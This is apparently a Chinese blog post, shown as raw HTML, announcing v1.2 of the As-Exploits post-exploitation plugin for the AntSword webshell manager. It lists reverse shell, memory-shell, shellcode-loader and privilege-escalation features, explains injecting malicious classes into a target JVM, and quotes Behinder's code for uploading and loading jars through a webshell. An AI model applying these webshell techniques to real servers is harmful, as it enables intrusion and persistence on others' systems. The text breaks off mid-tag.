rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><strong>JSP</strong></td></tr></thead><tbody><tr style="height: 33px;"><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;word-break: break-all;">基本信息</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td></tr><tr style="height: 33px;"><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">反弹Shell</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td></tr><tr style="height: 33px;"><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">内存马</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><br/></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><br/></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td></tr><tr style="height: 33px;"><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">内存马管理</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><br/></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><br/></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td></tr><tr style="height: 33px;"><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">杀软识别</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td></tr><tr style="height: 33px;"><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">提权辅助</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td></tr><tr style="height: 33px;"><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">屏幕截图</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><br/></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td></tr><tr style="height: 33px;"><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">ShellCode加载器</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><br/></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><br/></td></tr><tr style="height: 33px;"><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">Jar加载器</td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><br/></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;"><br/></td><td style="text-align: center;min-width: 90px;font-size: 14px;white-space: normal;overflow-wrap: break-word;border-color: rgb(217, 217, 217);padding: 4px 8px;cursor: default;">√</td></tr></tbody></table><p data-lake-id="9694bf1e40acbbb57e69835b79f369fe" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><h2 data-lake-id="50466e44c47bf66a15bbe28b04deca8c" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;">V1.2 更新主要内容</h2><h3 data-lake-id="e0dc29178ac6dd978e73621e6291c725" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;"><br/></h3><h3 data-lake-id="e0dc29178ac6dd978e73621e6291c725" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;">1) aspx增加<code style="font-size: inherit;background-color: rgba(0, 0, 0, 0.06);padding-right: 2px;padding-left: 2px;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;line-height: inherit;overflow-wrap: break-word;">屏幕截图</code>模块</h3><p data-lake-id="ff79c8c350940ecbf1070ae14d9e2c4c" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><span style="text-decoration: line-through;">我打我自己</span></p><p data-lake-id="0c933845fddcd98c9299628c9106bcd1" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">当然实战中需要较高权限。</p><p data-lake-id="0c933845fddcd98c9299628c9106bcd1" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="47a6e0ecd4311dcc8e447359be18d3de" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1616755405537-7a1f6d47-412e-4505-89a5-6ae415bdc2e2.png%22%2C%22originWidth%22%3A1059%2C%22originHeight%22%3A746%2C%22name%22%3A%22image.png%22%2C%22size%22%3A59503%2C%22display%22%3A%22inline%22%2C%22align%22%3A%22left%22%2C%22linkTarget%22%3A%22_blank%22%2C%22status%22%3A%22done%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A36.70655%2C%22y%22%3A5.194826%2C%22width%22%3A301.69605%2C%22height%22%3A17.920809000000002%2C%22text%22%3A%22As-Exploits127.0.0.1ByzddM%22%7D%2C%7B%22x%22%3A1015.58167%2C%22y%22%3A5.9451065%2C%22width%22%3A34.43092999999999%2C%22height%22%3A15.917625500000002%2C%22text%22%3A%22%E5%8F%A3x%22%7D%2C%7B%22x%22%3A592.2534%2C%22y%22%3A39.77681%2C%22width%22%3A111.8291999999999%2C%22height%22%3A16.659683%2C%22text%22%3A%22ShellCode%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A50.724445%2C%22y%22%3A40.03262%2C%22width%22%3A60.95921%2C%22height%22%3A17.17501%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A268.9989%2C%22y%22%3A40.24634%2C%22width%22%3A61.59277000000003%2C%22height%22%3A16.757566000000004%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A375.95547%2C%22y%22%3A40.334522%2C%22width%22%3A61.2577%2C%22height%22%3A16.138807999999997%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A482.43353%2C%22y%22%3A40.341675%2C%22width%22%3A61.50216999999998%2C%22height%22%3A16.134085%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A753.5258%2C%22y%22%3A40.701897%2C%22width%22%3A31.97365000000002%2C%22height%22%3A16.505402999999994%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A159.51787%2C%22y%22%3A40.98798%2C%22width%22%3A65.03329000000002%2C%22height%22%3A16.108475%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A29.817495%2C%22y%22%3A82.976974%2C%22width%22%3A46.49431499999999%2C%22height%22%3A14.731560000000002%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A36.400223%2C%22y%22%3A126.03359%2C%22width%22%3A43.16417700000001%2C%22height%22%3A11.338130000000007%2C%22text%22%3A%22%E4%B8%AD%E5%9B%BD%E7%BA%B9%E5%88%9B%22%7D%2C%7B%22x%22%3A22.850466%2C%22y%22%3A143.86674%2C%22width%22%3A143.493304%2C%22height%22%3A13.22699%2C%22text%22%3A%22AntSword%E5%81%8F%E8%AF%86%E7%A9%BA%E5%8F%A3%E5%B8%88%E8%AF%95%22%7D%2C%7B%22x%22%3A26.956377%2C%22y%22%3A166.74712%2C%22width%22%3A219.202023%2C%22height%22%3A15.136500000000012%2C%22text%22%3A%22ASExplolts127.0.0.1pxByYddMr6%22%7D%2C%7B%22x%22%3A519.98987%2C%22y%22%3A188.941%2C%22width%22%3A21.974730000000022%2C%22height%22%3A14.237850000000009%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A54.87926%2C%22y%22%3A189.46902%2C%22width%22%3A38.35079999999999%2C%22height%22%3A12.036079999999998%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E7%9A%82%22%7D%2C%7B%22x%22%3A198.97195%2C%22y%22%3A189.5238%2C%22width%22%3A40.05063000000001%2C%22height%22%3A11.805679999999995%2C%22text%22%3A%22%E6%9D%80%E7%BA%B9%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A125.403366%2C%22y%22%3A189.74959%2C%22width%22%3A44.506404%2C%22height%22%3A11.444429999999983%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shel%22%7D%2C%7B%22x%22%3A413.81445%2C%22y%22%3A190.06044%2C%22width%22%3A74.18099999999998%2C%22height%22%3A11.002080000000007%2C%22text%22%3A%22Shelicode%E5%8A%A0%E8%A3%85%E5%8F%B7%22%7D%2C%7B%22x%22%3A341.07983%2C%22y%22%3A190.04842%2C%22width%22%3A40.55636999999996%2C%22height%22%3A11.209480000000013%2C%22text%22%3A%22%E5%B1%8F%E6%85%88%E5%AB%A9%E5%9B%BE%22%7D%2C%7B%22x%22%3A270.24594%2C%22y%22%3A190.28708%2C%22width%22%3A39.71709999999996%2C%22height%22%3A10.711559999999992%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%91%E5%8A%A9%22%7D%2C%7B%22x%22%3A39.418667%2C%22y%22%3A217.59146%2C%22width%22%3A31.420133000000007%2C%22height%22%3A12.016329999999982%2C%22text%22%3A%22eplort%22%7D%2C%7B%22x%22%3A29.95344%2C%22y%22%3A457.44315%2C%22width%22%3A43.827870000000004%2C%22height%22%3A11.287069999999972%2C%22text%22%3A%22%E7%BB%99%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%5D%2C%22style%22%3A%22none%22%2C%22search%22%3A%22As-Exploits127.0.0.1ByzddM%20%E5%8F%A3x%20ShellCode%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E5%85%B3%E4%BA%8E%20%E5%8F%8D%E5%BC%B9Shell%20exploit%20%E4%B8%AD%E5%9B%BD%E7%BA%B9%E5%88%9B%20AntSword%E5%81%8F%E8%AF%86%E7%A9%BA%E5%8F%A3%E5%B8%88%E8%AF%95%20ASExplolts127.0.0.1pxByYddMr6%20%E5%85%B3%E4%BA%8E%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E7%9A%82%20%E6%9D%80%E7%BA%B9%E8%AF%86%E5%88%AB%20%E5%8F%8D%E5%BC%B9Shel%20Shelicode%E5%8A%A0%E8%A3%85%E5%8F%B7%20%E5%B1%8F%E6%85%88%E5%AB%A9%E5%9B%BE%20%E6%8F%90%E6%9D%83%E8%BE%91%E5%8A%A9%20eplort%20%E7%BB%99%E5%87%BA%E7%BB%93%E6%9E%9C%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%2C%22width%22%3A529.5%2C%22height%22%3A373%7D"><img data-height="373px" data-ratio="0.704438149197356" title="image.png" data-type="png" data-w="1059" style="visibility: visible;width: 529.5px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0df803b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy2iawqL1S4qTmEFElpSDibibG9EL76pQ0YNWAE0cLhYcp4ZavmO6XOErY0cEr51HMobdrof5senwqrvA%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="14055eab978c4649198caa14d4f9e2f8" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="14055eab978c4649198caa14d4f9e2f8" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">因为在Jscript加载Assembly踩坑记里面解决了Jscript加载c#的问题，所以C#的payload理论上都可以加进去，更多其他的用法就看大家自己发挥了</p><p data-lake-id="14055eab978c4649198caa14d4f9e2f8" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p data-lake-id="14055eab978c4649198caa14d4f9e2f8" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><h3 data-lake-id="8fa9bb609f099bb6707c86295eb980f4" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;">2) jsp增加<code style="font-size: inherit;background-color: rgba(0, 0, 0, 0.06);padding-right: 2px;padding-left: 2px;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;line-height: inherit;overflow-wrap: break-word;">Jar加载器</code>模块</h3><p><span style="color: rgb(64, 64, 64);letter-spacing: 0.008em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">打一个jar进去通常有两个用处：</span></p><p data-lake-id="4565ce8d7615a63cf5e75a499c38c847" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span style="font-size: 15px;">一是可以用来上传数据库驱动。</span></p><p data-lake-id="e7383fd35044a5959100fe10908601e4" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><span style="font-size: 15px;">二是把恶意类打入JVM中，后续只需要通过反射调用即可。哥斯拉的实现方式就是第一次就把所有的 Payload 打入 jvm 中，后续通过反射调用。所以后续通信的流量包都非常的小，只需要传递参数即可。</span></p><p data-lake-id="8f90fb4e79d1a85ec050c96f00ac5f58" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="382d8fa0aa82143003e2ce396b5f6c7e" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">冰蝎跟哥斯拉都有类似的功能，研究了一下他们的实现。</p><p data-lake-id="382d8fa0aa82143003e2ce396b5f6c7e" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span style="font-size: 16px;font-weight: 700;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p data-lake-id="382d8fa0aa82143003e2ce396b5f6c7e" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: center;"><span style="font-size: 16px;font-weight: 700;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">冰蝎</span><br/></p><p data-lake-id="c2288925a794b9796dac9ff8762cfd99" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">冰蝎的加载jar功能内嵌于数据库连接部分，仅用于上传数据库驱动。首先把要打入的jdbc上传到目标的临时目录，然后再用URLClassLoader去加载，这里贴一下代码。</p><p data-lake-id="c2288925a794b9796dac9ff8762cfd99" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="326f2473571dbf06706ba2ce0d723666" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><span style="font-size: 14px;">net.rebeyond.behinder.ui.controller.DatabaseViewController#loadDriver</span></p><pre style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);text-align: left;"><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"></span></span></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">loadDriver</span>(<span class="code-snippet__params">String scriptType, String databaseType</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">      String driverPath = <span class="code-snippet__string">&#34;net/rebeyond/behinder/resource/driver/&#34;</span>;</span></code><code><span class="code-snippet_outer">      Platform.runLater(() -&gt; {</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__keyword">this</span>.statusLabel.setText(<span class="code-snippet__string">&#34;正在上传数据库驱动……&#34;</span>);</span></code><code><span class="code-snippet_outer">      });</span></code><code><span class="code-snippet_outer">      String os = <span class="code-snippet__keyword">this</span>.currentShellService.shellEntity.getString(<span class="code-snippet__string">&#34;os&#34;</span>).toLowerCase();</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment">//根据系统型号选择临时目录</span></span></code><code><span class="code-snippet_outer">      String remoteDir = os.indexOf(<span class="code-snippet__string">&#34;windows&#34;</span>) &gt;= <span class="code-snippet__number">0</span> ? <span class="code-snippet__string">&#34;c:/windows/temp/&#34;</span> : <span class="code-snippet__string">&#34;/tmp/&#34;</span>;</span></code><code><span class="code-snippet_outer">      String libName = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> (scriptType.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;jsp&#34;</span>)) { <span class="code-snippet__comment">//根据类型选择数据库jdbc</span></span></code><code><span class="code-snippet_outer">         <span class="code-snippet__keyword">if</span> (databaseType.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;sqlserver&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            libName = <span class="code-snippet__string">&#34;sqljdbc41.jar&#34;</span>;</span></code><code><span class="code-snippet_outer">         } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (databaseType.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;mysql&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            libName = <span class="code-snippet__string">&#34;mysql-connector-java-5.1.36.jar&#34;</span>;</span></code><code><span class="code-snippet_outer">         } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (databaseType.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;oracle&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            libName = <span class="code-snippet__string">&#34;ojdbc5.jar&#34;</span>;</span></code><code><span class="code-snippet_outer">         }</span></code><code><span class="code-snippet_outer">      } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (scriptType.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;aspx&#34;</span>)) {</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__keyword">if</span> (databaseType.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;mysql&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            libName = <span class="code-snippet__string">&#34;mysql.data.dll&#34;</span>;</span></code><code><span class="code-snippet_outer">         } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (databaseType.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;oracle&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            libName = <span class="code-snippet__string">&#34;Oracle.ManagedDataAccess.dll&#34;</span>;</span></code><code><span class="code-snippet_outer">         }</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">byte</span>[] driverFileContent = Utils.getResourceData(driverPath + libName);</span></code><code><span class="code-snippet_outer">      String remotePath = remoteDir + libName;</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment">//将jar先上传到临时目录</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">this</span>.currentShellService.uploadFile(remotePath, driverFileContent, <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">      Platform.runLater(() -&gt; {</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__keyword">this</span>.statusLabel.setText(<span class="code-snippet__string">&#34;驱动上传成功，正在加载驱动……&#34;</span>);</span></code><code><span class="code-snippet_outer">      });</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment">//将libPath传递给服务端加载</span></span></code><code><span class="code-snippet_outer">      JSONObject loadRes = <span class="code-snippet__keyword">this</span>.currentShellService.loadJar(remotePath);</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> (loadRes.getString(<span class="code-snippet__string">&#34;status&#34;</span>).<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;fail&#34;</span>)) {</span></code><code><span class="code-snippet_outer">         <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> Exception(<span class="code-snippet__string">&#34;驱动加载失败:&#34;</span> + loadRes.getString(<span class="code-snippet__string">&#34;msg&#34;</span>));</span></code><code><span class="code-snippet_outer">      } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">         Platform.runLater(() -&gt; {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (scriptType.<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;jsp&#34;</span>)) {</span></code><code><span class="code-snippet_outer">               <span class="code-snippet__keyword">this</span>.statusLabel.setText(<span class="code-snippet__string">&#34;驱动加载成功，请再次点击“连接”。&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.statusLabel.setText(<span class="code-snippet__string">&#34;驱动加载成功。&#34;</span>);</span></code><code><span class="code-snippet_outer">         });</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">   }</span></code></pre></section><pre style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);text-align: left;"><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"></span></span><br/></pre><p data-lake-id="e0ae76b05c0a5f64039deb8a2f7226ca" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;">WebShell 获取到 libPath 然后用 URLClassLoader 去加载。</p><p data-lake-id="e0ae76b05c0a5f64039deb8a2f7226ca" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><br/></p><p data-lake-id="853ac638de1b1aeb2bc30d7b990f2eeb" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;text-align: left;"><span style="font-size: 14px;">net.rebeyond.behinder.payload.java.Loader</span></p><p data-lake-id="4c7fb2605016d6c8f8c4c7137e6f0c46" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" 